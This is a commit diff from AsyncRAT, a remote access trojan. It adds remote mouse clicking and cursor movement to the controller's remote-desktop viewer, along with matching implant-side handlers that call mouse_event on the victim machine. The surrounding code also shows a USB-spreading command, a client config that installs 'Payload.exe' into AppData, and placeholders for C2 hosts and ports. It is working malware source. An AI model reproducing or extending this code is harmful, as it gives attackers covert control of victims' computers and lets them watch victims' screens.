Add mouse click on remote desktop

Add mouse click on remote desktop
fixed save images on remote desktop
This commit is contained in:
NYAN CAT 2019-05-28 23:34:54 +03:00
parent c989b17558
commit 01932464db
15 changed files with 219 additions and 36 deletions

View File

@ -292,6 +292,10 @@
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Content Include="async_icon.ico" /> <Content Include="async_icon.ico" />
<None Include="Resources\save-image2.png" />
<None Include="Resources\save-image.png" />
<None Include="Resources\mouse_enable.png" />
<None Include="Resources\mouse.png" />
<None Include="Resources\coding.png" /> <None Include="Resources\coding.png" />
<None Include="Resources\system.png" /> <None Include="Resources\system.png" />
<None Include="Resources\extra.png" /> <None Include="Resources\extra.png" />

View File

@ -42,7 +42,7 @@
this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true; this.richTextBox1.ReadOnly = true;
this.richTextBox1.ShortcutsEnabled = false; this.richTextBox1.ShortcutsEnabled = false;
this.richTextBox1.Size = new System.Drawing.Size(526, 182); this.richTextBox1.Size = new System.Drawing.Size(557, 210);
this.richTextBox1.TabIndex = 0; this.richTextBox1.TabIndex = 0;
this.richTextBox1.Text = "\n │ Author : NYAN CAT\n │ Name : AsyncRAT © 2019\n │ C" + this.richTextBox1.Text = "\n │ Author : NYAN CAT\n │ Name : AsyncRAT © 2019\n │ C" +
"ontact : github.com/NYAN-x-CAT\n\n This program is distributed for educat" + "ontact : github.com/NYAN-x-CAT\n\n This program is distributed for educat" +
@ -53,7 +53,7 @@
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(526, 182); this.ClientSize = new System.Drawing.Size(557, 210);
this.Controls.Add(this.richTextBox1); this.Controls.Add(this.richTextBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false; this.MaximizeBox = false;

View File

@ -41,6 +41,7 @@
this.button1 = new System.Windows.Forms.Button(); this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button();
this.timerSave = new System.Windows.Forms.Timer(this.components); this.timerSave = new System.Windows.Forms.Timer(this.components);
this.btnMouse = new System.Windows.Forms.Button();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.panel1.SuspendLayout(); this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
@ -52,10 +53,13 @@
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 0); this.pictureBox1.Location = new System.Drawing.Point(0, 0);
this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(710, 409); this.pictureBox1.Size = new System.Drawing.Size(1012, 674);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 0; this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false; this.pictureBox1.TabStop = false;
this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown);
this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseMove);
this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp);
// //
// timer1 // timer1
// //
@ -65,6 +69,7 @@
// panel1 // panel1
// //
this.panel1.BackColor = System.Drawing.Color.Transparent; this.panel1.BackColor = System.Drawing.Color.Transparent;
this.panel1.Controls.Add(this.btnMouse);
this.panel1.Controls.Add(this.btnSave); this.panel1.Controls.Add(this.btnSave);
this.panel1.Controls.Add(this.label2); this.panel1.Controls.Add(this.label2);
this.panel1.Controls.Add(this.numericUpDown2); this.panel1.Controls.Add(this.numericUpDown2);
@ -74,23 +79,24 @@
this.panel1.Dock = System.Windows.Forms.DockStyle.Top; this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(0, 0); this.panel1.Location = new System.Drawing.Point(0, 0);
this.panel1.Name = "panel1"; this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(710, 38); this.panel1.Size = new System.Drawing.Size(1012, 38);
this.panel1.TabIndex = 1; this.panel1.TabIndex = 1;
// //
// btnSave // btnSave
// //
this.btnSave.Location = new System.Drawing.Point(538, 3); this.btnSave.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.save_image;
this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnSave.Location = new System.Drawing.Point(455, 3);
this.btnSave.Name = "btnSave"; this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(152, 29); this.btnSave.Size = new System.Drawing.Size(32, 32);
this.btnSave.TabIndex = 5; this.btnSave.TabIndex = 5;
this.btnSave.Text = "START SAVE";
this.btnSave.UseVisualStyleBackColor = true; this.btnSave.UseVisualStyleBackColor = true;
this.btnSave.Click += new System.EventHandler(this.BtnSave_Click); this.btnSave.Click += new System.EventHandler(this.BtnSave_Click);
// //
// label2 // label2
// //
this.label2.AutoSize = true; this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(300, 9); this.label2.Location = new System.Drawing.Point(268, 9);
this.label2.Name = "label2"; this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(76, 20); this.label2.Size = new System.Drawing.Size(76, 20);
this.label2.TabIndex = 4; this.label2.TabIndex = 4;
@ -105,7 +111,7 @@
0, 0,
0, 0,
0}); 0});
this.numericUpDown2.Location = new System.Drawing.Point(384, 5); this.numericUpDown2.Location = new System.Drawing.Point(352, 5);
this.numericUpDown2.Maximum = new decimal(new int[] { this.numericUpDown2.Maximum = new decimal(new int[] {
0, 0,
0, 0,
@ -120,7 +126,7 @@
// label1 // label1
// //
this.label1.AutoSize = true; this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(130, 9); this.label1.Location = new System.Drawing.Point(82, 9);
this.label1.Name = "label1"; this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(78, 20); this.label1.Size = new System.Drawing.Size(78, 20);
this.label1.TabIndex = 2; this.label1.TabIndex = 2;
@ -135,7 +141,7 @@
0, 0,
0, 0,
0}); 0});
this.numericUpDown1.Location = new System.Drawing.Point(214, 5); this.numericUpDown1.Location = new System.Drawing.Point(166, 5);
this.numericUpDown1.Minimum = new decimal(new int[] { this.numericUpDown1.Minimum = new decimal(new int[] {
20, 20,
0, 0,
@ -181,11 +187,22 @@
this.timerSave.Interval = 1500; this.timerSave.Interval = 1500;
this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick); this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick);
// //
// btnMouse
//
this.btnMouse.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.mouse;
this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnMouse.Location = new System.Drawing.Point(550, 3);
this.btnMouse.Name = "btnMouse";
this.btnMouse.Size = new System.Drawing.Size(32, 32);
this.btnMouse.TabIndex = 3;
this.btnMouse.UseVisualStyleBackColor = true;
this.btnMouse.Click += new System.EventHandler(this.Button3_Click);
//
// FormRemoteDesktop // FormRemoteDesktop
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(710, 409); this.ClientSize = new System.Drawing.Size(1012, 674);
this.Controls.Add(this.button2); this.Controls.Add(this.button2);
this.Controls.Add(this.panel1); this.Controls.Add(this.panel1);
this.Controls.Add(this.pictureBox1); this.Controls.Add(this.pictureBox1);
@ -217,5 +234,6 @@
public System.Windows.Forms.NumericUpDown numericUpDown2; public System.Windows.Forms.NumericUpDown numericUpDown2;
private System.Windows.Forms.Button btnSave; private System.Windows.Forms.Button btnSave;
private System.Windows.Forms.Timer timerSave; private System.Windows.Forms.Timer timerSave;
private System.Windows.Forms.Button btnMouse;
} }
} }

View File

@ -34,7 +34,8 @@ namespace AsyncRAT_Sharp.Forms
public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch sw = Stopwatch.StartNew();
public Stopwatch RenderSW = Stopwatch.StartNew(); public Stopwatch RenderSW = Stopwatch.StartNew();
public IUnsafeCodec decoder = new UnsafeStreamCodec(60); public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
public Size rdSize;
private bool isMouse = false;
private void timer1_Tick(object sender, EventArgs e) private void timer1_Tick(object sender, EventArgs e)
{ {
if (!C.ClientSocket.Connected) this.Close(); if (!C.ClientSocket.Connected) this.Close();
@ -106,17 +107,20 @@ namespace AsyncRAT_Sharp.Forms
private void BtnSave_Click(object sender, EventArgs e) private void BtnSave_Click(object sender, EventArgs e)
{ {
if (button1.Text == "STOP") if (button1.Tag == (object)"stop")
{ {
if (timerSave.Enabled) if (timerSave.Enabled)
{ {
timerSave.Stop(); timerSave.Stop();
btnSave.Text = "START SAVE"; btnSave.BackgroundImage = Properties.Resources.save_image;
} }
else else
{ {
timerSave.Start(); timerSave.Start();
btnSave.Text = "STOP SAVE"; btnSave.BackgroundImage = Properties.Resources.save_image2;
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID);
if (Directory.Exists(fullPath))
Process.Start(fullPath);
} }
} }
} }
@ -152,5 +156,87 @@ namespace AsyncRAT_Sharp.Forms
} }
return null; return null;
} }
private void PictureBox1_MouseDown(object sender, MouseEventArgs e)
{
try
{
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse)
{
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
int button = 0;
if (e.Button == MouseButtons.Left)
button = 2;
if (e.Button == MouseButtons.Right)
button = 8;
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = p.X;
msgpack.ForcePathObject("Y").AsInteger = p.Y;
msgpack.ForcePathObject("Button").AsInteger = button;
ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes());
}
}
catch { }
}
private void PictureBox1_MouseUp(object sender, MouseEventArgs e)
{
try
{
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse)
{
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
int button = 0;
if (e.Button == MouseButtons.Left)
button = 4;
if (e.Button == MouseButtons.Right)
button = 16;
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
msgpack.ForcePathObject("Button").AsInteger = (Int32)(button);
ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes());
}
}
catch { }
}
private void PictureBox1_MouseMove(object sender, MouseEventArgs e)
{
try
{
if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
{
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseMove";
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes());
}
}
catch { }
}
private void Button3_Click(object sender, EventArgs e)
{
if (isMouse)
{
isMouse = false;
btnMouse.BackgroundImage = Properties.Resources.mouse;
}
else
{
isMouse = true;
btnMouse.BackgroundImage = Properties.Resources.mouse_enable;
}
}
} }
} }

View File

@ -29,6 +29,10 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
RD.C2 = client; RD.C2 = client;
RD.timer1.Start(); RD.timer1.Start();
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
RD.rdSize = decoded0.Size;
RD.Size = new Size(decoded0.Size.Width / 2, decoded0.Size.Height / 2);
} }
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));

View File

@ -244,6 +244,26 @@ namespace AsyncRAT_Sharp.Properties {
} }
} }
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap mouse {
get {
object obj = ResourceManager.GetObject("mouse", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap mouse_enable {
get {
object obj = ResourceManager.GetObject("mouse_enable", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary> /// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap. /// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary> /// </summary>
@ -314,6 +334,26 @@ namespace AsyncRAT_Sharp.Properties {
} }
} }
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap save_image {
get {
object obj = ResourceManager.GetObject("save-image", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap save_image2 {
get {
object obj = ResourceManager.GetObject("save-image2", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary> /// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap. /// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary> /// </summary>

View File

@ -133,6 +133,9 @@
<data name="arrow_down" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="arrow_down" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="mouse_enable" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\mouse_enable.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="visit" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="visit" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
@ -151,8 +154,8 @@
<data name="u-torrent-logo" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="u-torrent-logo" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\u-torrent-logo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\u-torrent-logo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="chat" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="coding" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\coding.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="builder" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="builder" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
@ -166,6 +169,9 @@
<data name="remotedesktop" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="remotedesktop" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="mouse" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
@ -220,10 +226,16 @@
<data name="logger" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="logger" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\logger.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\logger.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="chat" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="client" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="client" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="coding" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="save-image" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\coding.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\save-image.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="save-image2" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\save-image2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
</root> </root>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1006 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@ -16,6 +16,6 @@ namespace AsyncRAT_Sharp
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
public static X509Certificate2 ServerCertificate; public static X509Certificate2 ServerCertificate;
public static readonly string Version = "AsyncRAT 0.4.9D"; public static readonly string Version = "AsyncRAT 0.4.9E";
} }
} }

View File

@ -8,23 +8,39 @@ using Client.Helper;
using System; using System;
using Client.StreamLibrary.UnsafeCodecs; using Client.StreamLibrary.UnsafeCodecs;
using Client.StreamLibrary; using Client.StreamLibrary;
using System.Runtime.InteropServices;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {
public class HandleRemoteDesktop public class HandleRemoteDesktop
{ {
//public HandleRemoteDesktop(MsgPack unpack_msgpack) public HandleRemoteDesktop(MsgPack unpack_msgpack)
//{ {
// switch (unpack_msgpack.ForcePathObject("Option").AsString) switch (unpack_msgpack.ForcePathObject("Option").AsString)
// { {
// case "capture": case "capture":
// { {
// CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger)); CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
// break; break;
// } }
// }
//} case "mouseClick":
{
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
break;
}
case "mouseMove":
{
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
Cursor.Position = position;
break;
}
}
}
public void CaptureAndSend(int quality, int Scrn) public void CaptureAndSend(int quality, int Scrn)
{ {
TempSocket tempSocket = new TempSocket(); TempSocket tempSocket = new TempSocket();
@ -85,5 +101,8 @@ namespace Client.Handle_Packet
} }
catch { return new Bitmap(rect.Width, rect.Height); } catch { return new Bitmap(rect.Width, rect.Height); }
} }
[DllImport("user32.dll")]
static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
} }
} }

View File

@ -101,13 +101,13 @@ namespace Client.Handle_Packet
case "usbSpread": case "usbSpread":
{ {
new HandleLimeUSB().Run(); ; new HandleLimeUSB().Run();
break; break;
} }
case "remoteDesktop": case "remoteDesktop":
{ {
new HandleRemoteDesktop().CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger)); new HandleRemoteDesktop(unpack_msgpack);
break; break;
} }

View File

@ -12,7 +12,7 @@ namespace Client
#if DEBUG #if DEBUG
public static string Ports = "6606"; public static string Ports = "6606";
public static string Hosts = "127.0.0.1"; public static string Hosts = "127.0.0.1";
public static string Version = "0.4.9D"; public static string Version = "0.4.9E";
public static string Install = "false"; public static string Install = "false";
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
public static string Key = "NYAN CAT"; public static string Key = "NYAN CAT";
@ -28,7 +28,7 @@ namespace Client
#else #else
public static string Ports = "%Ports%"; public static string Ports = "%Ports%";
public static string Hosts = "%Hosts%"; public static string Hosts = "%Hosts%";
public static string Version = "0.4.9D"; public static string Version = "0.4.9E";
public static string Install = "%Install%"; public static string Install = "%Install%";
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%"); public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%");
public static string Key = "%Key%"; public static string Key = "%Key%";